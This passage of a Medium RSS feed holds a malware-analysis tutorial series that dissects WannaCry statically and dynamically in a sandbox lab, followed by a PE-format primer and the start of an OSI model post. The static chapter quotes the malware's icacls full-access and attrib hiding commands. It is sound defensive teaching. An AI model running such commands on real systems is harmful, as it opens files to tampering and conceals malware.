processes, we can see that a directory named <strong>bpazqnrp682</strong> is created under <strong>ProgramData</strong>, and within it, the <strong>tasksche.exe</strong> file is again created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*688GdeAGXG62B_Ozyy5pGg.png" /><figcaption>Image-10</figcaption></figure><p>In the file explorer, the detected directory under <strong>ProgramData</strong> is observed to have been created as a hidden folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*8fVKaN9ISuhBGc0Y6UoTCw.png" /><figcaption>Image-11</figcaption></figure><p>Entering this directory, we can see that three additional executable files — <strong>taskdl.exe</strong>, <strong>tasksche.exe</strong>, and <strong>taskse.exe</strong> — have been created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*ULWEgKSxpHz55Mz09lzUww.png" /><figcaption>Image-12</figcaption></figure><p>Within the current directory, navigating to <strong>/TaskData/Tor</strong> reveals two more executable files: <strong>taskhsvc.exe</strong> and <strong>tor.exe:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*YvFHKaEIrQHzjVZOdPScdw.png" /><figcaption>Image-13</figcaption></figure><p>To see how these executable files were created, revert to the snapshot taken before the detonation. Since the first created executable is <strong>tasksche.exe</strong>, set the filters as shown in the image to observe that these files were created by this executable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*5Ab0Bz8WfaD0Q0e34Y0MxQ.png" /><figcaption>Image-14</figcaption></figure><p>To better observe registry changes, revert to the snapshot and open the <strong>Regshot</strong> tool. Then, click the <strong>1st shot</strong> button and, in the opened window, press <strong>Shot</strong> to save the clean state of the system before running the software:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*b0-8XF8fCuGDFeqe5M_pXA.png" /><figcaption>Image-15</figcaption></figure><p>Next, run the malware and allow it to perform its functions. Then, click the <strong>2nd shot</strong> button. After that, press the <strong>Compare</strong> button and, in the resulting window, review the results by clicking the <strong>Output</strong> button:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*Ti40_q5shWD190y7f-36Ng.png" /><figcaption>Image-16</figcaption></figure><p>It is observed that 13 different registry keys and 43 values have been added, services with identified names have been created, and they are set to run every time the computer starts.</p><p>We now move to the final stage of dynamic analysis: <strong>debugging</strong>. Debugging is not only used in malware analysis but also for monitoring the CPU, memory, and variables of any program, as well as for troubleshooting errors.</p><p>In this context, the <strong>x32dbg</strong> tool will be used to observe the malware’s behavior step by step. To do this, revert to the snapshot, select the target malware from the program interface, and open it. Then, press <strong>F9</strong> to go to the program’s <strong>Entry Point</strong>, which represents the point where the program begins execution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*aQ8N9uivuNvOOHogzxm_PQ.png" /><figcaption>Image-17</figcaption></figure><p>Before proceeding, it is important to understand the general structure of the registers and flags displayed in the top-right section:</p><ul><li><strong>EAX–EDI (General Purpose Registers):</strong> Used by the CPU to hold data and perform operations; each can serve different purposes.</li><li><strong>EIP (Instruction Pointer):</strong> Points to the memory address of the next instruction to be executed.</li><li><strong>EBP (Base Pointer):</strong> Typically used to reference the base of the stack in function calls.</li><li><strong>ESP (Stack Pointer):</strong> Indicates the top of the stack; critical for function calls and local variables.</li><li><strong>EFLAGS:</strong> Contains flags that provide information about the CPU’s state, such as zero, carry, overflow, etc.</li></ul><p>Key flags:</p><ul><li><strong>ZF (Zero Flag):</strong> Set if the last operation result is zero.</li><li><strong>PF (Parity Flag):</strong> Set if there is an even number of 1s in the result’s bits.</li><li><strong>AF (Adjust Flag):</strong> Indicates intermediate carry in binary-coded operations.</li><li><strong>OF (Overflow Flag):</strong> Set if an arithmetic overflow occurs.</li><li><strong>SF (Sign Flag):</strong> Indicates whether the result is negative.</li><li><strong>DF (Direction Flag):</strong> Determines the direction in string operations (forward/backward).</li><li><strong>CF (Carry Flag):</strong> Set if a carry occurs during an operation.</li><li><strong>TF (Trap Flag):</strong> Enables single-step mode for debugging.</li><li><strong>IF (Interrupt Flag):</strong> Controls whether interrupts are allowed.</li></ul><p>Next, repeatedly press <strong>F8</strong> to step through the code. The goal is to understand where the initial functions start executing. As you proceed, a <strong>cmp al, 22</strong> instruction is encountered, performing a comparison. Since it is not equal, execution jumps to the <strong>inc esi</strong> instruction above. To continue, double-click on <strong>ZF</strong> when the <strong>esi jne</strong> instruction is highlighted to set it, then continue with <strong>F8</strong>.</p><p>Finally, when reaching the <strong>Call</strong> instruction as shown in the visual, the program pauses. This indicates the function of interest that should be analyzed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*N0o9g5i3j95yA579Pn2kSg.png" /><figcaption>Image-18</figcaption></figure><p>Revert to the snapshot and reopen the malware from the beginning. When <strong>EIP</strong> reaches the specified <strong>Call</strong> instruction, press <strong>F7</strong> to step into the called function. Inside this function, API names such as <strong>InternetOpenA</strong> are visible. Since this indicates an internet-related operation, open <strong>Wireshark</strong> on REMnux and keep it ready.</p><p>A URL address is visible in the <strong>esi</strong> register:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*irJNNST0xPqb-lQinyyO0g.png" /><figcaption>Image-19</figcaption></figure><p>As you proceed, a new function call is observed. Click on the circle at the beginning of the function to set a <strong>breakpoint</strong>, then press <strong>F7</strong> to step into it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*330gUeQzAID8IbuqdUDGlQ.png" /><figcaption>Image-20</figcaption></figure><p>Another function call is observed. Press <strong>F7</strong> to step into it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*9C72PxdozRsynzAg6-74tA.png" /><figcaption>Image-21</figcaption></figure><p>Here, two new function calls are observed. First, press <strong>F7</strong> to step into the first one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*lDilBTnFQeXL4EYdpUU2Nw.png" /><figcaption>Image-22</figcaption></figure><p>Here, a command in the format <strong>‘%s –m security’</strong> is used with the <strong>sprintf</strong> function, and the <strong>OpenSCManagerA</strong> API is called.</p><p>The part indicated by <strong>%s</strong> is populated in the <strong>ecx</strong> register:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*3-jop5Wl0FCDve4IJolYoQ.png" /><figcaption>Image-23</figcaption></figure><p>Next, the <strong>mssecsvc2.0</strong> service is created and started:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*uLtukeEUyzHfuXiLH-8d6g.png" /><figcaption>Image-24</figcaption></figure><p>When the service starts, the Wireshark screen shows that the entire network begins to be scanned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*d3Hrfx2pM5TY0hX4XKBzsg.png" /><figcaption>Image-25</figcaption></figure><p>Then, pressing <strong>F8</strong> continues execution, reaching the <strong>ret</strong> instruction to exit this function. Step into the second function shown in Image 51 with <strong>F7</strong>. Here, the <strong>tasksche.exe</strong> file and the <strong>qeriuwjhrf</strong> directory are dynamically created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*vhBNqtjD9d1JjQDUiawODg.png" /><figcaption>Image-26</figcaption></figure><p>Subsequently, the creation of the <strong>tasksche.exe</strong> file is observed in Procmon via <strong>MoveFileExA</strong> and <strong>CreateFileA:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*T8XbocNOTrgWm7GZLr0N2Q.png" /><figcaption>Image-27</figcaption></figure><p>The <strong>/i</strong> parameter is appended to this executable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*ah0gnekDfZqkp9PQ3uiTlA.png" /><figcaption>Image-28</figcaption></figure><p>The executable is launched using <strong>CreateProcessA</strong>. Afterwards, the service creates a hidden directory under <strong>ProgramData:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*NSi_jGEi993K1rbKf6AYhQ.png" /><figcaption>Image-29</figcaption></figure><p>Continuing execution with <strong>F8</strong>, we reach the first branching point, where the program terminates with an <strong>exit</strong> call:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*uS0CfXb1W6FMXuHTTt5ydQ.png" /><figcaption>Image-30</figcaption></figure><h3>Conclusion</h3><p>In this chapter, we observed how the program checks the conditions required for execution and the sequence of behaviors it performs during runtime.</p><p>In the next chapter, we will discuss <strong>YARA rules</strong> and learn how to create a YARA rule using the IOCs extracted from the malware we analyzed…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d96625fb2348" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Malware Analysis Chapter-3]]></title>
            <link>https://medium.com/@abdulkadirsady/introduction-to-malware-analysis-chapter-3-26d4ebbf683c?source=rss-c1e14e9a443d------2</link>
            <guid isPermaLink="false">https://medium.com/p/26d4ebbf683c</guid>
            <category><![CDATA[static-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[analysis]]></category>
            <category><![CDATA[ioc]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Abdulkadir Sadi]]></dc:creator>
            <pubDate>Sat, 13 Sep 2025 15:13:01 GMT</pubDate>
            <atom:updated>2025-09-13T15:13:01.600Z</atom:updated>
            <content:encoded><![CDATA[<p>In the previous section, we prepared our sandbox environment for malware analysis. In this section, we will begin the first step of malware analysis: <strong>static analysis</strong>. During this analysis process, you will notice that the tools we use have similar functionalities. I will mention different tools in this article to illustrate the variety of options available.</p><h3>Static Analysis</h3><p>The first step of analysis is <strong>static analysis</strong>, which is performed without executing the program. For this analysis, the WannaCry ransomware sample is downloaded from the provided <a href="https://github.com/HuskyHacks/PMAT-labs">GitHub link</a>.</p><p>To begin static analysis, use the <strong>floss</strong> tool through the <strong>Cmder</strong> console to extract strings from the malware:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*AXtdchCU9HLvbkhqO2bv8Q.png" /><figcaption>Image-1</figcaption></figure><p>While browsing through the strings, many Windows API names stand out. However, most of the strings appear as meaningless characters, hinting that the software is <strong>packed:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*xLyGkCInRitr5L_m2f3WRg.png" /><figcaption>Image-2</figcaption></figure><p>A little further down, a different <strong>exe</strong> name catches the eye:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*bSlY-M4qTOsENWepvNq0qQ.png" /><figcaption>Image-3</figcaption></figure><p>Further down, we can see a dynamically written string using <strong>%s</strong>, a new executable named <strong>tasksche.exe</strong>, and a URL address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*2HIMfqGbgbk5DQXdTy3rVw.png" /><figcaption>Image-4</figcaption></figure><p>Scrolling further, we encounter the commands <strong>icacls . /grant Everyone:F /T /C /Q</strong> and <strong>attrib +h . </strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*WwcFdJKlKm_5MsBLyRvyMg.png" /><figcaption>Image-5</figcaption></figure><p>These commands mean the following:</p><ul><li><strong>icacls</strong>: A Windows tool used to manage file and folder ACL (Access Control List) permissions.</li><li><strong>.</strong>: Represents the current directory.</li><li><strong>/grant Everyone:F</strong>: Grants full control to all users.</li><li><strong>/T</strong>: Includes all subfolders and files.</li><li><strong>/C</strong>: Continues operation despite errors.</li><li><strong>/Q</strong>: Runs silently, hiding output.</li></ul><p>With this command, the malware gains full access to all files and subdirectories in the infected directory, allowing it to:</p><ul><li>Modify files</li><li>Copy itself</li><li>Deploy additional malware</li><li>Make recovery more difficult</li></ul><p>For the <strong>attrib +h .</strong> command:</p><ul><li>This command hides the current directory.</li><li><strong>attrib</strong>: Used to set file/folder attributes.</li><li><strong>+h</strong>: Adds the “Hidden” attribute.</li><li><strong>.</strong>: The current folder.</li></ul><p>Further down, we can see the Windows version, two IP addresses, the <strong>WanaCrypt0r</strong> string, and the file extensions targeted for encryption:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*Rb3uXTRxs1QlRGaDRJGKKQ.png" /><figcaption>Image-6</figcaption></figure><p>We have extracted the useful strings. To observe the Windows API information in more detail, we open the <strong>Imports</strong> window in the <strong>IDA</strong> tool.</p><p><strong>IDA</strong> (Interactive Disassembler) is a powerful software reverse engineering tool used to analyze and disassemble executable files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*X24AyuxXW2I0AkSydI8p8A.png" /><figcaption>Image-7</figcaption></figure><p>When examining the DLLs, the most notable ones are the cryptography functions under <strong>ADVAPI32</strong> and the socket-related functions under <strong>WS2_32</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*dbu7waoFKMC-a6x5pBeDJg.png" /><figcaption>Image-8</figcaption></figure><p>The API functions under the <strong>WININET</strong> library indicate that the software performs operations related to the internet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*4EeGxP6uiI1mo_Ouzy3IBg.png" /><figcaption>Image-9</figcaption></figure><p>Now, we open the malware using <strong>PEStudio</strong> and compare its raw and virtual sizes. A significant difference between them is one of the indicators that the malware is packed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*wz6FBvC12tp11pyNBmbYyQ.png" /><figcaption>Image-10</figcaption></figure><p>With <strong>Cutter</strong>, the final tool for static analysis, we proceed to disassembly. After opening the malware in the tool, the <strong>main</strong> function is displayed. By selecting the disassembly option, the assembly instructions within the main function are shown. First, we can see that the URL identified earlier among the strings is moved into the <strong>esi</strong> register:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*5-3TAX95nyml4gUvTHWzzg.png" /><figcaption>Image-11</figcaption></figure><p>The <strong>InternetOpenA</strong> function creates a connection that will be used by <strong>InternetOpenUrlA</strong>, which opens the specified address. Later, the <strong>InternetCloseHandle</strong> function is used to close the previously established connection. When opening the <strong>Decompiler</strong> tab at the bottom right, we can see that the output of <strong>InternetOpenUrlA</strong> is assigned to the <strong>eax</strong> register, and subsequently this value is moved to the <strong>edi</strong> register. In other words, this function returns a binary value of 0 or 1, which is stored in the <strong>edi</strong> register.</p><p>When the <strong>Graph</strong> tab is opened, we can see that the <strong>edi</strong> value is tested, and based on the result, a branch is taken using the <strong>jne</strong> (jump if not equal) instruction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*iutavLobiNTC-8oFuBKRlQ.png" /><figcaption>Image-12</figcaption></figure><p>The <strong>test edi, edi</strong> instruction performs a bitwise AND of the <strong>edi</strong> register with itself. If <strong>edi</strong> is 0, the result is 0 and the Zero Flag (ZF) is set. If it is not 0, the Zero Flag is cleared. Essentially, this instruction checks whether a value is 0. The <strong>jne</strong> instruction jumps if ZF is 0.</p><p>Looking at the graph, we can see that a connection attempt is being made, and the result of whether the connection succeeds is stored in the <strong>edi</strong> register. If the connection is successful, the flow branches to the section marked with a green arrow; if it fails, it branches to the section marked with a red arrow. Following the green arrow (successful connection), the function exits via <strong>ret</strong>. Following the red arrow (failed connection), a new function is called via the <strong>Call</strong> instruction.</p><p>From this, we can conclude that the software performs a connection test: if the connection succeeds, it exits; if not, it proceeds to a new operation.</p><p>When viewing the contents of the function called on the left side, another function call is observed. This indicates that the execution continues at this point:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*647BEC8X3s_Gwlj6JxuIsA.png" /><figcaption>Image-13</figcaption></figure><p>Following the function named <strong>fcn.00407f20</strong>, we can see that it makes two additional function calls:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*YnVuavNG9LVKsthEBIGH5Q.png" /><figcaption>Image-14</figcaption></figure><p>The first function creates a service named <strong>“Microsoft_Security_Center__2.0__Service”</strong>. This service is believed to be designed to ensure the malware’s persistence on the system or to automatically execute certain tasks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*63tWgx1JRUveIIBc_p8iWQ.png" /><figcaption>Image-15</figcaption></figure><p>In the second function, the <strong>tasksche.exe</strong> file is extracted from the package and executed on the system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*omJSaZMvjuLD4BAw9qO_Sg.png" /><figcaption>Image-16</figcaption></figure><p>Here, we see a target named <strong>C:\WINDOWS\tasksche.exe</strong> and a file move (rename) operation related to it. Two different filenames are prepared in memory: the old filename (<strong>lpExistingFileName</strong>) and the new filename (<strong>lpNewFileName</strong>). Using these, the <strong>MoveFileExA</strong> function renames or moves the file.</p><p>The first notable string is <strong>str.tasksche.exe</strong>, while <strong>str.WINDOWS</strong> hints at a file path like <strong>C:\WINDOWS</strong>. Then, the <strong>sprintf</strong> function is used to construct the full file path. <strong>tasksche.exe</strong> serves as the new or target filename (<strong>lpNewFileName</strong>), and another string, <strong>qeriuwjhrf</strong>, represents the old filename.</p><p>Before calling <strong>MoveFileExA</strong>, the values 1, <strong>edx</strong>, and <strong>eax</strong> are pushed onto the stack in sequence. According to the function’s parameter order, the old name <strong>qeriuwjhrf</strong> is effectively changed to <strong>tasksche.exe</strong>.</p><h3>Conclusion</h3><p>In this chapter, we covered the stages of static malware analysis. The IOCs identified here are noted down for the <strong>YARA rule creation</strong> phase in the next section.</p><p>In the next chapter, we will discuss the steps of dynamic analysis…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26d4ebbf683c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Malware Analysis Chapter-2]]></title>
            <link>https://medium.com/@abdulkadirsady/introduction-to-malware-analysis-chapter-2-aca04c4280f5?source=rss-c1e14e9a443d------2</link>
            <guid isPermaLink="false">https://medium.com/p/aca04c4280f5</guid>
            <category><![CDATA[sandbox]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Abdulkadir Sadi]]></dc:creator>
            <pubDate>Sat, 13 Sep 2025 14:43:02 GMT</pubDate>
            <atom:updated>2025-09-13T14:43:02.117Z</atom:updated>
            <content:encoded><![CDATA[<h3>Environment Preparation in Malware Analysis</h3><p>In this series, I will be using <strong>VirtualBox</strong> to set up the sandbox environment. All installations and configurations will be demonstrated through VirtualBox. If you are using a different virtualization software, you can adapt the steps accordingly.</p><h3>Flare VM Installation</h3><p>FLARE VM is a <strong>Windows-based security distribution</strong> specifically designed for malware analysis, reverse engineering, incident response, and forensic investigations. Think of it as a ready-to-use toolkit: instead of manually installing dozens of tools one by one, FLARE VM bundles everything into a single package.</p><p>Once installed, it transforms a regular Windows machine into a powerful malware analysis environment with tools for:</p><ul><li>Disassembly and debugging</li><li>Network traffic analysis</li><li>Static and dynamic malware analysis</li><li>Incident response and forensic tasks</li></ul><p>In short, FLARE VM saves time and effort, making it a perfect choice for anyone who wants to build a professional malware analysis lab.</p><h4>Installation Steps</h4><p>From the Windows 10 virtual machine, navigate to the <a href="https://github.com/mandiant/flare-vm">official download page</a> and grab the <strong>installer.ps1</strong> file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*bF3DHPV12eMmQJ6ti8BNNw.png" /><figcaption>Image-1</figcaption></figure><p>Next, open a <strong>PowerShell window as Administrator</strong> on the Windows machine and run the installer file to start the installation process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*hY8iCwEj6GFzH9UutLexTg.png" /><figcaption>Image-2</figcaption></figure><p>When the installation is complete, we are greeted with a Windows environment where the tools have been installed and the background has been changed, as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*sxEtHwyZIMI6gJ9euhEOmQ.png" /><figcaption>Image-3</figcaption></figure><h3>REMnux Installation</h3><p>REMnux is a Linux distribution for malware analysis, reverse engineering, and incident response. It comes preloaded with a wide range of open-source tools that make it easier to examine malicious files, analyze suspicious network traffic, and dissect malware behavior.</p><p><strong>FLARE VM</strong> is mostly a <strong>host-based analysis platform</strong>. It equips you with tools to directly investigate what is happening on a compromised Windows system. This includes analyzing executables, debugging processes, inspecting memory, and studying malware behavior on the host itself.</p><p><strong>REMnux</strong>, on the other hand, is primarily a <strong>network-based analysis platform</strong>. It provides powerful utilities for examining suspicious network traffic, extracting indicators from PCAP files, and simulating or analyzing communication between malware and its command-and-control (C2) servers.</p><p>Simply put, the REMnux appliance — downloaded as an OVA file from the <a href="https://docs.remnux.org/install-distro/get-virtual-appliance">download page </a>— can be imported into VirtualBox and will be ready for immediate use:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*lF92JS8IleFiXCaas4qiFg.png" /><figcaption>Image-4</figcaption></figure><h3><strong>Network Configuration</strong></h3><p>A critical aspect of any sandbox environment is isolating the software under analysis from the network through careful network configuration. There are multiple methods to achieve this, and in the following sections, I will demonstrate one of them.</p><p>First, open the <strong>Tools &gt; Network</strong> tab in the VirtualBox interface, then click the <strong>Create</strong> button to set up a new host-only adapter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*UyjZmsAKdesc-G8p8N562g.png" /><figcaption>Image-5</figcaption></figure><p>We change the IPv4 address to something more convenient, such as <strong>10.0.0.1. </strong>Next, we configure the DHCP server and select the newly created host-only adapter as the network option for both the Windows and REMnux machines.</p><p>Start the REMnux machine and open the INetSim configuration file with the command and scroll down in the opened file and first enable the <strong>DNS service:</strong></p><pre>sudo nano /etc/inetsim/inetsim.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*dnvh5Tq7CTey-1sX-s2XBQ.png" /><figcaption>Image-6</figcaption></figure><p>Next, scroll down and enable the <strong>service_bind_address</strong> variable, setting its value to <strong>0.0.0.0</strong>. This allows connections from all network interfaces to be listened to, and finally, set the default DNS IP to the IP address of the REMnux machine.</p><p>Set the DNS server address of the Windows machine to the IP address of the REMnux machine as well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*4fld6jRZd2n152-bzxI6Rw.png" /><figcaption>Image-7</figcaption></figure><h3>Conclusion</h3><p>With this section complete, our sandbox environment is now ready for malware analysis. In the next section, I will demonstrate the static analysis steps using the WannaCry malware…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aca04c4280f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Malware Analysis Chapter-1]]></title>
            <link>https://medium.com/@abdulkadirsady/introduction-to-malware-analysis-chapter-1-e6db0534238d?source=rss-c1e14e9a443d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6db0534238d</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[executable]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[portable-executable]]></category>
            <dc:creator><![CDATA[Abdulkadir Sadi]]></dc:creator>
            <pubDate>Sat, 13 Sep 2025 12:22:36 GMT</pubDate>
            <atom:updated>2025-09-13T12:22:36.383Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In the world of cybersecurity, malicious software — better known as <em>malware</em> — remains one of the most critical threats faced by both organizations and individuals. To effectively defend against these threats, one of the most fundamental steps is learning how to study malware and understand its behavior.</p><p>This process, known as <strong>malware analysis</strong>, plays a vital role in strengthening defensive mechanisms and guiding incident response. Simply put, it’s about figuring out what a suspicious program does, how it does it, and how we can stop it.</p><p>In this article, we’ll explore the two main approaches to malware analysis: <strong>static analysis</strong> and <strong>dynamic analysis</strong>. Each has its own advantages, but when combined, they provide a more complete picture of the threat at hand.</p><p>To make things more concrete, we’ll walk through these techniques using the infamous <strong>WannaCry ransomware</strong> as a case study. Back in 2017, WannaCry made history by spreading at lightning speed across the globe, causing billions of dollars in damages.</p><p>Our goal here isn’t just to dissect WannaCry’s technical structure, but also to highlight the kind of techniques and defensive strategies that can be applied against similar threats. By the end, this should serve as a practical reference not only for security researchers, but also for professionals working in the cybersecurity field who want to sharpen their defensive skills.</p><h3>What is Malware?</h3><p>Malware is software designed with harmful intent — whether that’s stealing data, damaging systems, or taking control without the user’s consent.</p><p>For malware, a few well-known examples include viruses, trojans, ransomware, etc. Although they all have different motivations, they are all designed to cause harm.</p><h3>PE File Structure</h3><p>Before proceeding to malware analysis, we must thoroughly understand the internal structure of PE (Portable Executable) files. PE files are the name given to executable files in the Windows operating system. Since we will be performing malware analysis on the Windows operating system, it is critically important that we master this file format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/0*DCNffmBM_gDU9TpI.png" /><figcaption>PE Structure</figcaption></figure><p>As you can see in the image, a PE file consists of the DOS Header, DOS Stub, NT Headers, Section Table, and Sections sections.</p><h4>DOS Header (IMAGE_DOS_HEADER)</h4><p>Contains information necessary for legacy MS-DOS compatibility and the address pointing to the start of the PE file.</p><p>• Every PE file begins with the MZ (0x4D 0x5A) byte sequence. This comes from the initials of “Mark Zbikowski”.</p><p>• A small stub for DOS is present (example: “This program cannot be run in DOS mode”).</p><ul><li>Contains an offset value named e_lfanew which indicates where the PE header begins.</li></ul><h4>PE Signature</h4><p>This is a fixed signature that identifies the file as being in PE format.</p><p>• The PE\0\0 signature is located at the address pointed to by e_lfanew (4 bytes).</p><ul><li>This indicates the actual start of the PE format.</li></ul><h4>File Header (IMAGE_FILE_HEADER)</h4><p>Contains the target platform, processor type, number of sections, and basic metadata of the file.</p><p>• <strong><em>Machine:</em></strong> Target processor/architecture.</p><p>• <strong><em>NumberOfSections:</em></strong> Number of sections.</p><p>• <strong><em>TimeDateStamp:</em></strong> Compilation time.</p><p>• <strong><em>PointerToSymbolTable:</em></strong> Offset value of the symbol table within the file.</p><p>• <strong><em>NumberOfSymbols:</em></strong> Number of symbols in the symbol table.</p><p>• <strong><em>SizeOfOptionalHeader:</em></strong> Size of the Optional Header.</p><ul><li><strong><em>Characteristics:</em></strong> File type and characteristics.</li></ul><h4>Optional Header (IMAGE_OPTIONAL_HEADER)</h4><p>It is not actually optional; it is critical. It contains the program’s entry point, memory layout, and additional information required by the operating system.</p><p>• <strong><em>AddressOfEntryPoint:</em></strong> The address where the program starts running.</p><p>• <strong><em>ImageBase:</em></strong> The default address where the program will be loaded into memory.</p><p>• <strong><em>SectionAlignment &amp; FileAlignment:</em></strong> Memory and file alignment values.</p><p>• <strong><em>Subsystem:</em></strong> The program’s operating environment.</p><ul><li><strong><em>SizeOfImage:</em></strong> The total size in memory.</li><li><strong><em>Data Directories:</em></strong> Address/size information for structures such as Import Table, Export Table, Resource Table, etc.</li></ul><h4>Section Table (IMAGE_SECTION_HEADER)</h4><p>This table defines the locations, sizes, and properties of the sections contained in the file.</p><p>• There is one entry for each section.</p><p>• It contains the section name (.text, .data, .rsrc, etc.).</p><p>• It holds virtual address and size information.</p><p>• It displays the offset and size information within the file.</p><ul><li>Contains flags associated with the section (code, data, read-only, etc.).</li></ul><h4>Sections</h4><p>These are the logical and physical sections where the PE file stores its contents such as code, data, and resources in an organized manner. Each of these structures has a specific location and purpose both on disk and in memory. The most popular examples of these sections are .text, .data, and .rsrc.</p><h3>Techniques Used in Malware Analysis</h3><h4>Static Analysis</h4><p>This is an examination performed without executing the code.</p><p>• Technical indicators such as file names, hashes, IP addresses, and domain names are examined.</p><p>• Malicious behavior is observed using disassemblers and network analysis tools.</p><h4>Dynamic Analysis</h4><p>This involves running the malicious code in an isolated environment (sandbox).</p><p>• Real-time behaviors are observed (file system, network, registry changes).</p><p>• The sandbox environment prevents damage to the system.</p><h4>Hybrid Analysis</h4><p>This is a combination of static and dynamic analysis techniques.</p><p>• Code that cannot be detected by static analysis is revealed by dynamic analysis.</p><p>• More IOCs are obtained from memory dumps.</p><p>• It is particularly effective in revealing zero-day vulnerabilities and advanced obfuscation techniques.</p><h4>Fully Automated Analysis</h4><p>It is a fast and scalable analysis system that detects the behavior and effects of malware without human intervention.</p><p>• The analysis process starts without manual intervention when the file is uploaded.</p><p>• It automatically lists indicators such as hashes, IP addresses, domain names, and process names.</p><ul><li>It provides security teams with readable outputs that enable them to take quick action.</li></ul><h3>Conclusion</h3><p>In this section, we touched on some basic concepts that should be understood before proceeding to malware analysis. In the next section, we will discuss setting up the environment for malware analysis…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6db0534238d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSI MODEL(Open Systems Interconnection)]]></title>
            <link>https://medium.com/@abdulkadirsady/osi-model-open-systems-interconnection-73dce09f7231?source=rss-c1e14e9a443d------2</link>
            <guid isPermaLink="false">https://medium.com/p/73dce09f7231</guid>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[computer-engineering]]></category>
            <category><![CDATA[tcp-ip-model]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[osi-model]]></category>
            <dc:creator><![CDATA[Abdulkadir Sadi]]></dc:creator>
            <pubDate>Mon, 01 Apr 2024 14:56:10 GMT</pubDate>
            <atom:updated>2024-04-01T14:56:10.534Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, i will tell you what the OSI MODEL is and its differences from the TCP / IP MODEL.</p><p>OSI is a reference model for how applications communicate over a network. This model focuses on providing a visual design of how each communications layer is built on top of the other, starting with the physical cabling, all the way to the application that is trying to communicate with other devices on a network.</p><p>With the advent of computer networks, the necessity for a common standard to enable integration between networks of different manufacturers has emerged. Initially, companies used to develop proprietary network systems and offer them as a package to customers. However, this was very costly and resulted in creating a closed system to the outside. Therefore, the OSI reference model, a computer network standard, was introduced by the International Organization for Standardization (ISO) in 1978.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*D76_D68KqeG3tiDLRFAfuQ.png" /></figure><p>The OSI reference model divides the processes in computer networks, from the communication medium (wired, wireless) to the user, into 7 layers:</p><p><strong><em>1-Physical Layer : </em></strong>The physical layer defines how data particles (bits) are transmitted over transmission media such as cable, 